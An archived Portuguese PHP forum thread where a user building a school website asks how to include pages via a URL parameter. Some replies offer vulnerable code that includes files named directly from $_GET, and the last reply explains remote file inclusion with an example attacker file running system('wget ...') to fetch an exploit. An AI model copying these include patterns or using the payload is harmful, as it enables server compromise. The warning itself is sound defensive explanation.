Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Super_Zica_Man

Include com PHP

Recommended Posts

Em outro tópico na parte de WebStandards : http://forum.imasters.com.br/index.php?showtopic=232895

O usuário nick171 me deu essa dica, mas não está dando certo e para não discutir o assunto lá.Resolvi postar aqui na área de PHP que é a área certa para tratar desse assunto.

 

Agora voltando ao assunto deste tópico.

 

Qual o melhor jeito de fazer include no php?

Eu gostei muito do jeito que me foi aconselhado, mas não consegui fazer =/, deu erro.Queria ver o que estou fazendo de errado.

 

Códigos:

 

index.php

 

 

<?$cont = $_GET['cont'];$cont .= ".php";if(!file_exists($cont)){ $cont = "index.php"; }?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>E.E. DE ENSINO MÉDIO MONTE DAS TABOCAS - Venâncio Aires - RS</title><link href="style.css" rel="stylesheet" type="text/css" /><script type="text/javascript" src="drop_down.js"></script></head><body><div id="tudo">	<div id="topo"></div>		<div id="menu">		<ul id="nav">			<li><a href="#">Inicial</a></li>			<li><a href="#">A escola</a>				<ul>					<li><a href="#">Histórico</a></li>					<li><a href="#">Filosofia-Objetivos</a></li>					<li><a href="#">Proposta Pedagócica</a></li>					<li><a href="#">Categorias de Ensino</a></li>					<li><a href="#">Professores e Funcionários</a></li>				</ul>			</li>			<li><a href="#">Biblioteca</a></li>			<li><a  href="#">Laboratórios</a>				<ul>			<li><a href="#">Ciências</a></li>			<li><a href="#">Informática</a></li>				</ul>			<li><a href="#">Ginásio de Esportes</a></li>			<li><a href="#">Projetos</a>				<ul>					<li><a href="#">REDEmoinhos</a></li>					<li><a href="#">Comunitário-Rede GESAC</a></li>					<li><a href="#">Esportes</a></li>					<li><a href="#">Banda</a></li>					<li><a href="#">Monitoria</a></li>				</ul>			</li>			<li><a href="#">CPM-CE</a></li>			<li><a href="#">Grêmio Estudantil</a></li>			<li><a href="#">Eventos</a></li>			<li><a href="#">Notícias</a></li>			<li><a href="#">Atividades Complementares</a></li>			<li><a href="#">Galeria de Fotos</a></li>			<li><a href="#">Mensagem da Escola</a></li>			<li><a href="#">Fale Conosco</a></li>		</ul>	</div>		<div id="conteudo">		<? include $cont; ?> 	</div>	  <div id="noticias">		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="120" height="270">					<param name="movie" value="http://www.iped.com.br/parceiros/publicidade/banner4.swf?url=http://www.iped.com.br/parceiros/campanha.php?15$2485$http://www.iped.com.br/i-img/logo_iped.gif">'>http://www.iped.com.br/parceiros/publicidade/banner4.swf?url=http://www.iped.com.br/parceiros/campanha.php?15$2485$http://www.iped.com.br/i-img/logo_iped.gif">					<param name="quality" value="high">					<embed src="http://www.iped.com.br/parceiros/publicidade/banner4.swf?url=http://www.iped.com.br/parceiros/campanha.php?15$2485$http://www.iped.com.br/i-img/logo_iped.gif" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="120" height="270">					</embed> 	</object>				  <br />				  <br />				<img src="../MT/FTP MT/arquivos/amigos_da_escola.jpg" width="120" height="144" border="1">	</div>		<div id="rodape">	  <p align="center"><br />			INICIAL | A ESCOLA | BIBLIOTECA | LABORATÓRIO DE CIÊNCIAS | LABORATÓRIO DE INFORMÁTICA | GINÁSIO | PROJETOS	 <br /> 			 CPM-CE | GRÊMIO ESTUDANTIL | EVENTOS | ATIVIDADES COMPLETARES	   | PARCERIAS | FALE CONOSCO		  </p>  </div></div></body></html>
contato.php

 

 

<h2>Título (1)</h2>		<p>In nibh odio, porttitor vel, mattis vel, porttitor eget, orci. Duis consectetuer tempus enim. Sed ut felis et tortor feugiat malesuada. Nam vulputate, tellus eu nonummy dapibus, pede risus luctus dolor, ut nonummy urna felis a lacus. Nam in dolor tincidunt ante vehicula dignissim. Nulla id libero ut dui placerat semper. Nulla sit amet nibh at velit facilisis gravida. Phasellus in diam. Pellentesque volutpat scelerisque dolor. Donec venenatis nulla suscipit nisl dignissim tristique. Ut ut lorem sit amet purus ullamcorper mattis. Phasellus ornare ligula non orci. Pellentesque luctus tristique orci. Proin a est. Nulla porta lacus ut leo. Nulla faucibus pede sit amet dui. Nullam aliquet lorem at nunc. Nullam eu tellus.</p>		<h2>Título (2)</h2>		<p>Sed tempus turpis vel quam molestie pulvinar. Suspendisse venenatis dolor semper ipsum. Quisque tempus erat ac mi. Aliquam semper, est nec hendrerit dignissim, ligula turpis sagittis purus, ut viverra velit eros at augue. Pellentesque mi nisi, porta eget, pharetra ac, sollicitudin sit amet, nisi. In sapien ligula lorem sollicitudin facilisis, sodales eget, tempus in, mauris. Cras risus sem, adipiscing non, convallis ac, consectetuer eu, dolor. In quam lorem ipsum dolor sit amet. Curabitur tempus aliquam nulla. Etiam eros.</p>

Compartilhar este post


Link para o post
Compartilhar em outros sites

eu não recomendo esse "tipo" de include, alias eu uso require que ao inves de emitir um aviso da um erro fatal, mas cadum cadum, tenta usar banco de dados acho uma solução melhor, alem de pode criar uma área administrativa para atualizar.

Compartilhar este post


Link para o post
Compartilhar em outros sites

@Topico

Você quer fazer include de páginas?

 

Que seria 'index.php?pagina=Contato'?

 

se for....

 

Use a função 'switch()'...

 

Um outro usuário do forum pediu uma coisa assim também, mas vou postar aqui pra você um exemplo...

 

primeiro você pega o valor da váriavel que vir na URL:

 

$pagina = isset($_GET['pagina']) ? $_GET['pagina'] : FALSE;

Depois você coloca a função 'switch()' onde você quer que faça o carregamento das páginas...

 

switch($pagina){	 case "Inicio"; // Caso o valor retornado seje Inicio	 include "inicio.php"; // Da include no mesmo	 break; // para a execução de outros	 case "Downloads";	 include "download.php"	 break;	 default: // Caso nã incontre nenhum valor em $pagina ele joga um valor padrão	 include "noticia.php";}

Caso seje essa sua duvida, ta ae!

Compartilhar este post


Link para o post
Compartilhar em outros sites

parabens por te postado na sessao certa

 

essa turma do sem tabela atrapalhar uhauhauhauh

 

vou postar um codigo aqui e você vai executar em sua maquina

 

 

no tem esse link aqui tu colocar

 

assim :

 

aqui eu to simulando que você esta na pagina ok

 

<li><a href="index.php?id=[color="#FF0000"]contato[/color]">Fale Conosco</a></li>

no tem o div conteudo e la que falar o conteudo

quando o cara apertar o link seu

 

<div id="conteudo"><?$id=$_GET["id"];
aqui eu to pegando o id passado ta vendo sacou aquele de vermelho

 

ai eu faço o seguinte

 

if(file_exists("$id.htm")) {/*traduzindo  se file (arquivo contato.html */		   require_once "$id.htm"; /*chame ele require ele */  }else {require_once "conteudo.html";}   	</div>

viu molinho no e tem ate com ajax sabia

isso se chama query string em php

 

henrique guedes

http://www.obsidiann.com

qualquer duvida me mandar mail kakaroto1500@gmail.com

Compartilhar este post


Link para o post
Compartilhar em outros sites

massa o "turma sem tabelas" henriqueguedes AUHEuAHeAHe pior que quando você acostuma, fica tudo tão simples ^^aaaa, e não esqueça as tags code ok?? =)

Compartilhar este post


Link para o post
Compartilhar em outros sites

É que tem amigo meu

só pq tirou as tabelas:Eu sou WebStandards

 

Ai eu falo você e dar "turma do sem tabelas"

 

 

agora esses "TAGS CODE" eu nao sei botar nao :)

 

mais o "SUPER ZICA MAN" nao retornou se funfou ou nao ???

 

 

henrique guedes

http://www.obsidiann.com

Compartilhar este post


Link para o post
Compartilhar em outros sites

UHEuHAeuHAEuHAe coloquei uns acentos ai beleza?? fiquei um tempão tentando entender hehahehaehaeentaum henrique, sei que esse não eh o melhor lugar pra te dizer isso, mas nos botoes quando você vai responder um tópico, tem um botao chamado code, só seleciona seu codigo e clica nehe ^.^

Compartilhar este post


Link para o post
Compartilhar em outros sites

Olha eu aqui de novo :D

Eu estava testando no localhost mas nao estava dando certo,testei vários outros e nenhum dava certo, estava ficando louco o.O

Então coloquei um desses em um servidor que tenho.E deu certo, nao sei porque nao rodou aqui localmente...

Mas agora ele no servidor não abre a pagina parece que fica muito pesado vou postar aqui o código, não sei se do jeito que fiz a pagina ficou muito pesada pra carregar e se tem outro jeito mais leve....

 

index.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>E.E. DE ENSINO MÉDIO MONTE DAS TABOCAS - Venâncio Aires - RS</title><link href="style.css" rel="stylesheet" type="text/css" /><script type="text/javascript" src="drop_down.js"></script></head><body><div id="tudo">	<div id="topo"></div>		<div id="menu">		<ul id="nav">			<li><a href="index.php">Inicial</a></li>			<li><a href="#">A escola</a>				<ul>					<li><a href="index.php?id=01">Histórico</a></li>					<li><a href="index.php?id=02">Filosofia-Objetivos</a></li>					<li><a href="index.php?id=03">Proposta Pedagógica</a></li>					<li><a href="index.php?id=04">Categorias de Ensino</a></li>					<li><a href="index.php?id=05">Professores e Funcionários</a></li>				</ul>			</li>			<li><a href="index.php?id=06">Biblioteca</a></li>			<li><a href="#">Laboratórios</a>				<ul>			<li><a href="index.php?id=07">Ciências</a></li>			<li><a href="index.php?id=08">Informática</a></li>				</ul>			<li><a href="index.php?id=09">Ginásio de Esportes</a></li>			<li><a href="#">Projetos</a>				<ul>					<li><a href="index.php?id=10">REDEmoinhos</a></li>					<li><a href="index.php?id=11">Comunitário-Rede GESAC</a></li>					<li><a href="index.php?id=12">Esportes</a></li>					<li><a href="index.php?id=13">Banda</a></li>					<li><a href="index.php?id=14">Monitoria</a></li>				</ul>			</li>			<li><a href="index.php?id=15">CPM-CE</a></li>			<li><a href="index.php?id=16">Grêmio Estudantil</a></li>			<li><a href="index.php?id=17">Eventos</a></li>			<li><a href="index.php?id=18">Notícias</a></li>			<li><a href="index.php?id=19">Atividades Complementares</a></li>			<li><a href="index.php?id=20">Galeria de Fotos</a></li>			<li><a href="index.php?id=21">Mensagem da Escola</a></li>			<li><a href="index.php?id=22">Fale Conosco</a></li>		</ul>	</div>		<div id="conteudo">	  <?phpif (isset($_GET['id'])){	switch ($_GET['id']){		case 01:		  include "historico.php";		  break;		case 02:		  include "filosofia.php";		  break;		case 03:		  include "proposta_pedagogica.php";		  break;		case 04:		  include "categorias_ensino.php";		  break;		case 05:		  include "professores_funcionarios.php";		  break;		case 06:		  include "biblioteca.php";		  break;		case 07:		  include "ciencias.php";		  break;		case 08:		  include "informatica.php";		  break;		case 09:		  include "ginasio.php";		  break;		case 10:		  include "redemoinhos.php";		  break;		case 11:		  include "gesac.php";		  break;		case 12:		  include "esportes.php";		  break;		case 13:		  include "banda.php";		  break;		case 14:		  include "monitoria.php";		  break;		case 15:		  include "cpm.php";		  break;		case 16:		  include "gremio_estudantil.php";		  break;		case 17:		  include "eventos.php";		  break;		case 18:		  include "noticias.php";		  break;		case 19:		  include "atividades_complementares.php";		  break;		case 20:		  include "galeria.php";		  break;		case 21:		  include "mensagem.php";		  break;		case 22:		  include "contato.php";		  break;	}}else{	include "index.php";}?>  	</div>	</div>	  <div id="noticias">		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="120" height="270">					<param name="movie" value="http://www.iped.com.br/parceiros/publicidade/banner4.swf?url=http://www.iped.com.br/parceiros/campanha.php?15$2485$http://www.iped.com.br/i-img/logo_iped.gif">'>http://www.iped.com.br/parceiros/publicidade/banner4.swf?url=http://www.iped.com.br/parceiros/campanha.php?15$2485$http://www.iped.com.br/i-img/logo_iped.gif">					<param name="quality" value="high">					<embed src="http://www.iped.com.br/parceiros/publicidade/banner4.swf?url=http://www.iped.com.br/parceiros/campanha.php?15$2485$http://www.iped.com.br/i-img/logo_iped.gif" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="120" height="270">					</embed> 	</object>				  <br />				  <br />				<img src="imagens/amigos_da_escola.jpg" width="120" height="144" border="1">	</div>		<div id="rodape">	  <p align="center"><br />			INICIAL | A ESCOLA | BIBLIOTECA | LABORATÓRIO DE CIÊNCIAS | LABORATÓRIO DE INFORMÁTICA | GINÁSIO | PROJETOS	 <br /> 			 CPM-CE | GRÊMIO ESTUDANTIL | EVENTOS | ATIVIDADES COMPLETARES	   | PARCERIAS | FALE CONOSCO		  </p>  </div></div></body></html>

Compartilhar este post


Link para o post
Compartilhar em outros sites

Pessoal vcs sabem oq a tag system faz?

 

leiam http://www.php.net/system

 

como os senhores podem ver ela permite a você usar comandos no systemae pior com direitos de administrador por o apache o tem.

 

agora manus o metodo get é bem porco pq da pra você ate manipular as variaveis atraves da url... você pode ate mudar o conteudo das mesmas via browser.

 

agora suponhamos q eu hospede e um servidor qualquer um arquivo tipo este:

 

comando.php<?php$comando = "wget www.urldeumexploit.com";System($comando);?>

ai ta la o get de vcs www.paginadonoob.com?page=index.php

 

ai eu troco o valor da variavel page(q é a variavel q esta sendo usada no switch porco) pra

www.paginadonoob.com?page=www.servidorondehospedeimeuarquivo.com/comando.php

 

ao fazer isso o get vai incluir a pagina comando na pagina q tem o get porco e vai usar o comando usado na variavel $comando q no caso vai baixar um exploit num servidor linux e vai abrir acesso para o hacker fazer oq ele quiser no servidor.

 

isso se chama php insertion, tomem muito cuidado com esses includes porcos e mal feitose e q geram um bug no php, e ainda pode ser letal se usado numa extranet.

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.